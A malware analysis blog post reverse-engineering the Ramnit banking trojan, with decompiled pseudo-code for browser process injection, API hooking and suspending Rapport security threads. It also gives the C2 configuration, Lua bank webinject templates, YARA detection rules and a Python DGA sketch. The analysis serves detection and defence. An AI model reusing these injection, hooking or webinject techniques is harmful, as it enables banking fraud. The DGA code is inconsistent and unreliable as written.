Let’s Learn: Diving into the Latest "Ramnit" Banker Malware via "sLoad" PowerShell

Goal: In-depth reverse engineering of the latest Ramnit banker from “sLoad” PowerShell malware. The focus of the analysis is on the Ramnit banker core functionality, its hooking engine, webinjects, process injection, and main configuration.

https://platform.twitter.com/widgets.js Malware:
Original Loader (436aaa1014e8528ed72c89c4bf74d14c
rmnsoft.dll (304772c80b157a916c7041f2f15939fb)
hooker2 (625db8cd9536c91f5ee044c318a80fec)
 -> x86 injected bot (73c95a2a9c9348f0b65de23a17f1790c)
 -> x64 injected bot (f836f4949483071d80b59d47d8ce2bd9)

Background:
For while, I have been observing an interesting combination of sLoad  PowerShell loader and the Ramnit banker malware targeting customers of Italian and United Kingdom financial institutions. In one of the most recent campaigns, Ramnit was distributed via sload. The chain is very interesting on its own and includes including PowerShell loader with slightly modified PowerShell empire “invoke-ReflectivePEInjection,” certutil, and wscript execution. The malware chain is available to review at Any App Run.
Ramnit is one of the oldest bankers on the financial cybercrime ecosystem dating back to 2010. Originally, started as a worm spreader, the malware acquired the banker capabilities after its developers adopted the leaked Zeus source code 2.0.8.9 converting it into a full-fledged banking Trojan. 
Ramnit banker somehow survived the Europol takedown in 2015 and remained active since 2016. It is notable, however, with the disappearance of the Ramnit version known as “demetra,” which was  distributed via Rig Exploit Kit and “Seamless” gate
The latest campaigns leverage a Ramnit version adding LUA webinject-style as well relying on screenshot capturing functionality for account takeover fraud (ATO).
Outline: 

I. Ramnit Main DLL "rmnsoft.dll"
A. Main Bot Configuration
B. Ramnit Domain Generation Algorithm (DGA)
II. Ramnit Webinject DLL "hooker2.dll"
A. Browser Setting "Relax" and Inject Setup
B. Process Injection: Resource "BIN" x86 or x64
III. x86/x64 Injected Bot
A. Ramnit Hooking Engine
B. Ramnit Anti-Rapport
C. LUA Webinject Structure
V. Yara Signatures
A. Yara: Ramnit Main DLL "rmnsoft.dll"
B. Yara: Ramnit Webinject DLL "hooker2.dll" (With Resource x86 and x64 Bot)
VI. Appendix
A. Ramnit Hooked API
B. LUA Webinject
C. Ramnit DGA Code (Pseudo) in Python

Analysis:
I. Ramnit Main DLL “rmnsoft.dll”
The main module of the Ramnit banker is called internally “rmnsoft.dll.” This module is responsible for execution of various commands and essentially remained unchanged for the past 6 years. It is well-documented by various researchers. The module also used for central communication between other modules and Ramnit core thread execution. 
The module contains the following exports:

  • _CryptoCheckSignMessage@24
  • Start
  • Stop
Command Name Type Description
getexec command_type=1 Download, save, and launch an executable file from a URL given by the Ramnit Command-and-Control (C2) infrastructure.
kos command_type=2 Kill operating system or shut down the system via ntdll.dll:NtShutdownSystem and ExitWindowsEx
screen command_type=3 Take screenshots and save it locally via Gdiplus.dll and GdipSaveImageToStream
update command_type=4 Download the latest Ramnit malware from the C2
cookies command_type=5 Retrieve local cookies from Windows Internet Explorer, Firefox, Opera, Safari, Chrome, Flash SOL
removecookies command_type=6 Delete cookies from the system in order to force the victim to log in again and collect the data

A. Main Bot Configuration
Following reported CERT.PL Ramnit structure outlined in the blog, this specific Ramnit has the main configuration as follows:

Config Value
botnet_name ‘23.04_443’
rc4_key ‘fB1oN5frGqf’
md5_magic ‘fE4hNy1O’
dga_seed ‘2538799770’
dga_no ‘100’
port ‘443’
hardcoded_domain ‘heoxhliqbug[.]eu’
dga_tlds ‘.eu’

The malware communicates to the command and control server leveraging the hardcoded MD5: ‘f054bbd2f5ebab9cb5571000b2c50c02′ for data structucture as part of the check-in.  
B. Ramnit Domain Generation Algorithm (DGA)
All the DGA structs are present in the beginning .data section as reported. The domain generation algorithm involves only one “.eu” top level domain (TLD) with the unchanged rest of the other logic as reported by CERT.PL. Ramnit leverages linear congruential generator (LCG) for pseudo-random generation (thanks to @nazywam for the previous coverage!).
The pseudo-coded C++ DGAdomain function is as follows:

int __stdcall dga_add_domain_eu(int dga_seed, LPSTR lpString1)
{
LCG_DGA(dga_seed, 12u);
v6 = v2;
v3 = lpString1;
do
*v3++ = LCG_DGA(v2, 25u) + 'a';
while ( v4 != 1 );
*v3 = 0;
lstrcatA(lpString1, a_eu); // ".eu"
return (v6 * (unsigned __int64)(unsigned int)dga_seed >> 0x20) + v6 * dga_seed;
}

The “rmnsoft.dll” also reaches out to the following domains to check connectivity:

-> ‘websearch[.]com:80’
-> ‘info[.]com:80’
-> ‘baidu[.]com:80’
II. Ramnit Webinject DLL “hooker2.dll” 
The main module responsible for process injection and hooking of various browser APIs is called internally “hooker2.dll.” The exports are as follows:
Ordinal
Export
00000001
CommandRoutine
00000002
ModuleCode
00000003
StartRoutine
00000004
StopRoutine
It is notable, however, that the unpacked version contains two resources with the original language artifacts set up to “Russian.”
Resource Type
Name
Signature
Bit
Language
BIN
102
Executable
(cpu: 32-bit)
Russian
BIN
103
Executable
(cpu: 64-bit)
Russian
Primarily, this module is responsible for editing and disabling protected browser settings and injecting a 32-bit or 64-bit payload into the browser.
A. Browser Setting “Relax” and Inject Setup
The process injection functions targets four browsers from Microsoft Edge to Google Chrome.
 The pseudocoded C++ function is as follows:

////////////////////////////////////////////////////////////////////
//////////////////// Ramnit Main Browser Setup and Injection ///////
////////////////////////////////////////////////////////////////////
char __thiscall process_injection_main(char *this, int a2)
{

v3 = 0;
v4 = this;
dwProcessId = 0;
func6(&StartupInfo.lpReserved, 0, 64);
StartupInfo.cb = 68;
ProcessInformation = 0i64;
func6(&pszPath, 0, 260);
v5 = GetShellWindow();
GetWindowThreadProcessId(v5, &dwProcessId);
v6 = func_str_iter((int **)v4, (char *)(a2 + 36));
if ( !v6 )
return v3;
if ( v6 == 2 )
{
if ( MicrosoftEdge_processfinder(v2) )
{
SHGetSpecialFolderPathA(0, &pszPath, 38, 0);
lstrcatA(&pszPath, "\\Internet Explorer\\iexplore.exe");
// Create process with CREATE_SUSPENDED flag

if ( CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation) )
{
v8 = ProcessInformation.dwProcessId;
*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId;
if ( write_process_inj(v8, 0xF36BAC23, 0) )
{
v3 = 1;
Sleep(2000u);
LABEL_22:
set_thread_exec(v7, *(_DWORD *)(a2 + 8));
return v3;
}
}
}
return v3;
}
if ( v6 == 4 )
return v3;
if ( v6 == 1 )
{
LABEL_21:
v3 = 1;
goto LABEL_22;
}
if ( v6 != 5 )
{
if ( v6 != 3 || dwProcessId != *(_DWORD *)(a2 + 24) )
return v3;
if ( mozilla_profile_writer() )
{
reg_query_main(
v10,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe",
(unsigned int)&pszPath);
func4(*(_DWORD *)(a2 + 8), v4 + 8);
// Create process with CREATE_SUSPENDED flag

if ( CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation) )
{
v11 = ProcessInformation.dwProcessId;
*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId;
write_process_inj(v11, 0xF36BAC23, 0);
}
}
get_str_func(*(_DWORD *)(a2 + 8), (int)"LdrLoadDll", v10, 0xBB49);
get_str_func(*(_DWORD *)(a2 + 8), (int)"BaseThreadInitThunk", v12, 0xBB49);
goto LABEL_21;
}
if ( dwProcessId == *(_DWORD *)(a2 + 24) )
{
reg_query_main(v7, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", (unsigned int)&pszPath);
if ( !set_chrome_pref(v2)
|| (func4(*(_DWORD *)(a2 + 8), v4 + 8),
lstrcatA(&pszPath, " --disable-http2 --disable-quic --disk-cache-size=1"),
Sleep(1000u),
// Create process with CREATE_SUSPENDED flag

CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation))
&& (*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId,
Sleep(1000u),
write_process_inj(*(_DWORD *)(a2 + 8), 0xF36BAC23, ProcessInformation.hProcess)) )
{
v3 = 1;
ZwMapViewOfSection_func(v9, *(_DWORD *)(a2 + 8));
goto LABEL_22;
}
}
return v3;
}

Ramnit sets up the following preferences that are meant to “relax” Mozilla browser security and write changes to .ini and user[.]js preferences files locally.

"pref(\"privacy.trackingprotection.pbmode.enabled\", false);"
"pref(\"browser.cache.disk.enable\", false);"
"pref(\"browser.cache.disk.smart_size.enabled\", false);"
"pref(\"browser.cache.disk.capacity\", 0);");
"pref(\"network.http.spdy.enabled.http2\", false);"

In addition, the malware attempts to “relax” Google Chrome 
via “–disable-http2 –disable-quic –disk-cache-size=1” setup.
B. Process Injection: Resource “BIN” x86 or x64
The process injection works as follows leveraging usual WriteProcessMemory API after obtaining access to the resource section and pulling the appropriate binary (either a 32-bit or 64-bit one) and injecting into the browser of choice.

The pseudo-coded C++ function is as follows searching the loaded resource for “0x5A4D” and “0x4550,” “MZ” and “NT” headers, respectively to load the actual binary:

////////////////////////////////////////////////////////////////////
//////////////////// Ramnit Simplified Process Injection ///////////
////////////////////////////////////////////////////////////////////
char __stdcall write_process_inj(DWORD dwProcessId, int a2, HANDLE hProcess)
{
v3 = hProcess;
v4 = 0;
flOldProtect = 0;
_mm_storel_pd((double *)lpBaseAddress, 0i64);
NumberOfBytesRead = 0;
v5 = 0x7D0;
if ( v3 || (v3 = OpenProcess(0x1FFFFFu, 0, dwProcessId)) != 0 )
{
if ( check_if_x64(0, v3) || !(dword_10064B98 & 1) )
{
GlobalFree_0(lpBaseAddress);
if ( !*(_QWORD *)lpBaseAddress )
goto LABEL_29;
ReadProcessMemory(v3, lpBaseAddress[0], &Buffer, 0x40u, &NumberOfBytesRead);
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( Buffer != 23117 )
goto LABEL_29;
v9 = (char *)lpBaseAddress[0] + v21;
ReadProcessMemory(v3, (char *)lpBaseAddress[0] + v21, &v18, 0xF8u, &NumberOfBytesRead);
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( v18 != 17744 )
goto LABEL_29;
if ( v19 == a2 )
goto LABEL_29;
dwProcessIdb = v9 + 8;
if ( !VirtualProtectEx(v3, v9 + 8, 4u, 4u, &flOldProtect) )
goto LABEL_29;
WriteProcessMemory(v3, dwProcessIdb, &a2, 4u, &NumberOfBytesRead);
VirtualProtectEx(v3, dwProcessIdb, 4u, flOldProtect, &NumberOfBytesRead);
}
else
{
GlobalFree_0(lpBaseAddress);
v6 = lpBaseAddress[0];
v7 = lpBaseAddress[1];
if ( !*(_QWORD *)lpBaseAddress )
{
do
{
if ( !v5 )
break;
Sleep(100u);
v11 = 0;
v5 -= 0x64;
GlobalFree_0(lpBaseAddress);
v6 = lpBaseAddress[0];
v7 = lpBaseAddress[1];
}
while ( !*(_QWORD *)lpBaseAddress );
if ( !__PAIR__((unsigned int)v6, (unsigned int)v7) )
goto LABEL_29;
}
if ( !ReadProcessMemory_0((HANDLE)v6, v7, (LPVOID)0x40, (DWORD)&NumberOfBytesRead, v11) )
goto LABEL_29;
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( Buffer != 0x5A4D ) // Check for "MZ" header "0x5A4D"
goto LABEL_29;
v8 = *(_QWORD *)lpBaseAddress + v21;
hProcess = (HANDLE)((unsigned __int64)(*(_QWORD *)lpBaseAddress + v21) >> 32);
if ( !ReadProcessMemory_0(
(char *)lpBaseAddress[0] + v21,
(LPCVOID)HIDWORD(v8),
(LPVOID)0x108,
(DWORD)&NumberOfBytesRead,
v12) )
goto LABEL_29;
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( v13 != 0x4550 ) // Check NT header signature "0x4550"
goto LABEL_29;
if ( v14 == a2 )
goto LABEL_29;
dwProcessIda = (void *)(v8 + 8);
hProcess = (char *)hProcess + __CFADD__((_DWORD)v8, 8);
if ( !VirtualProtectEx_0((HANDLE)(v8 + 8), hProcess, 4u, (DWORD)&flOldProtect, v15)
|| !WriteProcessMemory_0(dwProcessIda, hProcess, (LPVOID)4, (DWORD)&NumberOfBytesRead, v16)
|| !VirtualProtectEx_0(dwProcessIda, hProcess, flOldProtect, (DWORD)&NumberOfBytesRead, v17) )
{
goto LABEL_29;
}
}
v4 = 1;
LABEL_29:
CloseHandle(v3);
}
return v4;
}

In addition to the usual ntdll.dll:LdrLoadDll and user32:TranslateMessage hooks, Ramnit hooks the various browser API (see Appendix), including Google Chrome, which was one of the non-exported API hooks from “chrome.dll” that was hooked differently by the malware developers. More specifically, Ramnit searches “.text” section of the Chrome dll. In memory, the malware checks for various SSL read and write functions.
The main banker hooking function is as follows:

///////////////////////////////////////////////////////////////////
/////////////// Ramnit Main Web Hooker Serve Function /////////////
///////////////////////////////////////////////////////////////////
HLOCAL Main_Browser_Hooker_func()
{
GetModule(InternetExplorer_function_array, "wininet.dll");
GetModule(Mozilla_Firefox_function_array, "nss3.dll");
Google_Chrome_Hook();
Internet_Explorer_Hook();
return FireFox_Hook();
}

III. x86/x64 Injected Bot
Finally, Ramnit injects an either 32-bit (x86) or 64-bit (x64) executable into the webbrowser process.
A. Ramnit Hooking Engine
Essentially, Ramnit hooking engine works to set up hooks for API calls of interest.Additionally, it has a routine to deal with non-exported API hooks for “chrome.dll.”

CreateHook_API(const CHAR DLL_name, int original_function_name,\
int myHook_function, int address_of_original_function)

By and large, Ramnit banker hooking engine works via overwriting the basic API with the redirect functions with the “0xe9” opcode for a jump with 32-bit relative offset with trampoline function and the write hook call with VirtualProtectEx API to make sure the function has 0x40 (PAGE_EXECUTE_READWRITE) property. Additionally, it attempts to conceal detection of this hooking technique via prepending NOP and/or RETN.

////////////////////////////////////////////////////////////////////
/////////////// Ramnit Hook Install Function ///////////////////////
///////////////////////////////////////////////////////////////////
signed int __thiscall Hook_Function_Ramnit(char *func_name, int myHook_function, int *function_address)
{
char *original_function;
char *current_func_id_thread;
int v5;
char jump_len;
signed int result;
SIZE_T v8;
void *trampoline_lpvoid;
int v10;
int v11;
unsigned __int8 jmp_32_bit_relative_offset_opcode;
int relative_offset;
DWORD flOldProtect;

original_function = func_name;
current_func_id_thread = func_name + 0x24;
iter_func(func_name + 0x24, 0x90, 0x23);
if ( function_address ) // Attempts to prepend "0x90" (nop) or "0xC3" (retn) to jump length to avoid basic hooking detect
jump_len = walker_byte_0(*(_BYTE **)(original_function + 1), (int)current_func_id_thread, v5);
else
jump_len = 5; // jump_length_trampoline -> 5
original_function[5] = jump_len;
if ( !jump_len )
goto LABEL_12; // Setting up the trampoline buffer
write_hook_iter((int)(original_function + 6), *(_BYTE **)(original_function + 1), (unsigned __int8)jump_len);
if ( function_address )
*function_address = (int)current_func_id_thread;
relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);
jmp_32_bit_relative_offset_opcode = 0xE9u; // "0xE9" -> opcode for a jump with a 32bit relative offset
if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )// Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtectEx
{
v10 = *(_DWORD *)(original_function + 1);
v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
original_function[66] = 0xE9u;
*(_DWORD *)(original_function + 0x43) = v10 + v11;
write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5);// -> Manually write the hook
VirtualProtectEx( // Return to original protect state
(HANDLE)0xFFFFFFFF,
*(LPVOID *)(original_function + 1),
(unsigned __int8)original_function[5],
flOldProtect,
&flOldProtect);
result = 1;
}
else
{
LABEL_12:
result = 0;
}
return result;
}

When the Ramnit banker hooks the function, it enters the new hooked one and grabs various variables while passing control to the original one when the hooked function concludes.

B. Ramnit Anti-Rapport
The malware also implements functionality that is meant to walk the stack and suspend threads related to “RapportGP.dl” DLL. The malware leverages “DbgHelp.dll” library and relevant API calls such as StackWalk64, SymGetModuleBase64, and SymFunctionTableAccess64.

////////////////////////////////////////////////////////////////////
///////////// Ramnit Anti-Rapport SuspendThread Function ///////////
////////////////////////////////////////////////////////////////////
char anti_rapport()
{
qmemcpy(&storage_allocated, &loc_100FCD4C, 0x19u);
return_handle_to_rapport_gp = GetModuleHandleA("RapportGP.dll");
if ( return_handle_to_rapport_gp
&& ((ret_handle = GetModuleHandleA("DbgHelp.dll")) != 0
|| (ret_handle = LoadLibraryA("DbgHelp.dll")) != 0)
&& (StackWalk64 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))
GetProcAddress(ret_handle, "StackWalk64"),
SymGetModuleBase64 = GetProcAddress(ret_handle, "SymGetModuleBase64"),
SymFunctionTableAccess64 = GetProcAddress(ret_handle, "SymFunctionTableAccess64"),
StackWalk64) )
{
get_to_rapp = (int)return_handle_to_rapport_gp + *((_DWORD *)return_handle_to_rapport_gp + 0xF);
if ( *(_DWORD *)get_to_rapp == 0x4550 ) // PE = 0x4550 - Win32/NT signature.
{
v11 = 0;
if ( *(_WORD *)(get_to_rapp + 6) > 0u )
{
rapp_text = get_to_rapp + 0xF8;
while ( lstrcmpA((LPCSTR)rapp_text, ".text") )
{
rapp_text += 0x28;
if ( ++v11 >= *(_WORD *)(get_to_rapp + 6) )
goto LABEL_20;
}
....
do
{
thread_walker_suspender(Rapport_text_Ldr, rapport_text);
////////////////////////////////////////////////////////////////////
////////////// Ramnit Thread Suspender StackWalk Simplified ////////
////////////////////////////////////////////////////////////////////
openthread_handle = OpenThread(0x1FFFFFu, 0, te.th32ThreadID);
if ( openthread_handle )
{
mm_shuffle_epi32_func(&Context.Dr0, 0, 0x2C8);
Context.ContextFlags = 0x1003F;
if ( GetThreadContext(openthread_handle, &Context) )
{
mm_shuffle_epi32_func(&v16, 0, 256);
rapport_ldr_location_3 = rapport_ldr_location_2;
Context_Eip[0] = Context.Eip;
Context_Ebp = Context.Ebp;
Context_Eip[1] = 0;
v17 = 3;
v19 = 0;
v20 = 3;
context_Esp = Context.Esp;
v22 = 0;
v23 = 3;
do
{
if ( StackWalk64 )
{
SymGetModuleBase64_func = SymGetModuleBase64;
SymFunctionTableAccess64_func = SymFunctionTableAccess64;
getcurrentproc_handle = GetCurrentProcess();
if ( !StackWalk64(
0x14C,
getcurrentproc_handle,
openthread_handle,
Context_Eip,
&Context,
0,
SymFunctionTableAccess64_func,
SymGetModuleBase64_func,
0) )
break;
if ( !Context_Eip[1]
&& Context_Eip[0] >= rapport_ldr_location_3
&& *(_QWORD *)Context_Eip <= (unsigned __int64)len_location_rapport_1 )
{
SuspendThread(openthread_handle);
}
}

C. Ramnit LUA Webinject Structure
The malware utilizes interesting LUA-coded webinjects with different setups with the developer comments including “damn lua…  in 5.3 bit are depricated or im govnocoder (sic!) (“badcoder” from Russian. -VK). Some of the core logic and setup are provided below.
V. Yara Signatures

A. Ramnit Main DLL “rmnsoft.dll”
import "pe"

rule crime_win32_ramnit_rmnsoft_dll {
meta:
description = "Detects latest Ramnit rmnsoft.dll from sLoad"
author = "@VK_Intel"
date = "2018-08-03"
hash1 = "7f054300fa64e7bcdec7f5538876e6008d6164f21ff21c6375e36dfe04a63412"
strings:
$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Opera.exe" fullword ascii
$s2 = "%APPDATA%\\Apple Computer\\Safari\\Cookies\\Cookies.plist" fullword ascii
$s4 = "rmnsoft.dll" fullword ascii
$s5 = "%APPDATA%\\Mozilla\\Firefox\\" fullword ascii
$s6 = "%APPDATA%\\Opera\\" fullword ascii
$s7 = "HTTPMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
$s8 = "\"ntdll.dll" fullword ascii
$s11 = "multipart/*boundary={*}application/x-www-form-urlencodedtext/plainname=\"{*}\"{*}https://http://" fullword wide
$s12 = "websearch.com:80" fullword ascii
$s13 = "User-Agent:{*}" fullword wide
$s14 = "complete.dat" fullword ascii
$s15 = "info.com:80" fullword ascii
$s16 = "baidu.com:80" fullword ascii
$s17 = "\\profile\\cookies4.dat" fullword ascii
$s19 = "C:\\WINDOWS\\Application Data\\Mozilla\\Firefox\\" fullword ascii
$s20 = "\\cookies.txt" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 300KB and
pe.imphash() == "291ff87948e45914424cec9510c297da" and pe.exports("Start")
and pe.exports("Stop") and pe.exports("_CryptoCheckSignMessage@24") and
( 8 of them )
) or ( all of them )
}
B. Ramnit Webinject DLL “hooker2.dll” (With Resource x86 and x64 Bot) 

rule crime_win32_64_ramnit_hooker_dll_binary {
meta:
description = "Detects Ramnit latest hooker2.dll with embedded two (x86/x64) resources. The detection is across all 3 components"
author = "@VK_Intel"
date = "2018-08-05"
hash1 = "d817fcf2a2e4a6e6e5b8f130d97a476b7e77697587dc5490a7241e571edd171e"
hash2 = "51ce5faa14ce6e496ccc0c71ff051740452e347bea0d343445c1993f36b79931"
hash3 = "23a2a8777b343d2fb68536387dda9e122c80d4a77c955bd1985b7f9239c09f7c"
strings:
$s2 = "RapportGP.dll" fullword wide
$s5 = "aswhook.dll" fullword wide
$s6 = "No row to get a column from. executeStep() was not called, or returned false." fullword ascii
$s7 = "NtCreateEvent NtCreateMutant NtCreateSemaphore NtCreateUserProcess NtMapViewOfSection NtOpenEvent NtOpenMutant NtOpenSemaphore N" ascii
$s8 = "GetRemoteInject" fullword ascii
$s9 = "!\\?.dll;!\\..\\lib\\lua\\5.3\\?.dll;!\\loadall.dll;.\\?.dll" fullword ascii
$s10 = "sub-select returns %d columns - expected %d" fullword ascii
$s11 = "SELECT sql FROM \"%w\".sqlite_master WHERE type='table'AND name'sqlite_sequence' AND coalesce(rootpage,1)>0" fullword ascii
$s12 = "0 && \"Attempting to pause parser in error state\"" fullword wide
$s13 = "User-Agent-Session: " fullword wide
$s14 = "invalid character in content-length header" fullword ascii
$s15 = "too many arguments on %s() - max %d" fullword ascii
$s16 = "--- REAL HEADERS ---" fullword wide
$s17 = "tQueryInformationProcess NtResumeThread NtWriteVirtualMemory ZwCreateEvent ZwCreateMutant ZwCreateSemaphore ZwCreateUserProcess " ascii
$s18 = "unexpected content-length header" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 9000KB and ( 8 of them )
) or ( all of them )
}

VI. Appendix:
A. Ramnit Hooked API
Internet Explorer:

InternetReadFile
HttpSendRequestExA
HttpSendRequestExW
HttpSendRequestA
HttpSendRequestW
InternetOpenUrlA
InternetOpenUrlW
InternetCloseHandle
HttpOpenRequestA
HttpOpenRequestW
InternetWriteFile
InternetQueryDataAvailable
InternetReadFileExA
InternetReadFileExW

Mozilla Firefox:

PR_OpenTCPSocket
PR_Close
PR_Write
PR_Read
PR_GetError
PR_GetNameForIdentity

Google Chrome:

SSL_read
SSL_write
user32.dll:

TranslateMessage

ntdll.dll:

LdrLoadDll

B. LUA Webinject
1. Webinject Setup Syntax

bankLog = {
url = "%BANKURL%",
req_type = get_type + log_type,
modification_arrays = {
[1] = {
data_before = [[

]],
data_inject = [[]],
data_after = [[

We]]
}
}
};

2. Webinject POST

bankPOST = {
url = "%BANKURL%",
req_type = post_type, -- Post only
command = VAR,
vars = {
["tlda"] = "pnlSetupNewPayeePayaPerson%3AfrmPayaPersonArrangement%3AstrBen\
+"AccountNumber"
}
};

3.  Webinject Variables

get_type, post_type, log_type = 1, 2, 4;
local log_type_bit_order = 3;
-- damn lua...  in 5.3 bit are depricated or im govnocoder
allow_report, not_allow_report, screen_report = 1, 0, 2;
local content_types = { "javascript", "text", "application"};

4. WebFilters

local WebFilters = {
-- Put filters for reports here
--"~*unicredit[.]it*", -- Do not use screens on urls from here. Not tested currently
--"~*banking4you*",
"*recruiter*",
"*employer*",
"*job*",
"*facebook[.]com/login.php*",
"*login.live[.]com*",
"*twitter[.]com/login*",
"*accounts.google[.]com*",
"*mail[.]ru*",
"!http://*",
"!sessioncam[.]com*",
"!netflix[.]com*",
"!facebook[.]com*",
"!google[.]com*",
"!lampoilbro[.]eu",
"!youtube[.]com",
"!criteo[.]com",
"!doubleclick[.]net",
"!analytics[.]com",
"!urs.microsoft[.]com",
"!zynga[.]com"
};

5. ScreenshotsContainer

local ScreenshotsContainer = {
-- Put urls for screenshots here
"*mail[.]ru*",
"*Redacted_UK_Financial_Institutions_URL*",
};

C. Ramnit DGA pseudo-function Python function

# https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/
seed = '2538799770'
tld = ".eu"

def lcg(a1, a2):
return 16807 * (a1 % 127773) - 2836 * (a1 / 127773) % a2

def dga(seed, tld):
domain = ""
new_seed = rng(seed, 12)
seed_after_length = new_seed

for i in range(domain_length):
c, new_seed = rng(new_seed, 25)
domain += chr(c + ord('a'))

seed *= seed_after_length
seed = ((seed >> 32) + (seed & 0xffffffff)) & 0xffffffff
domain += tld

return domain, seed

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s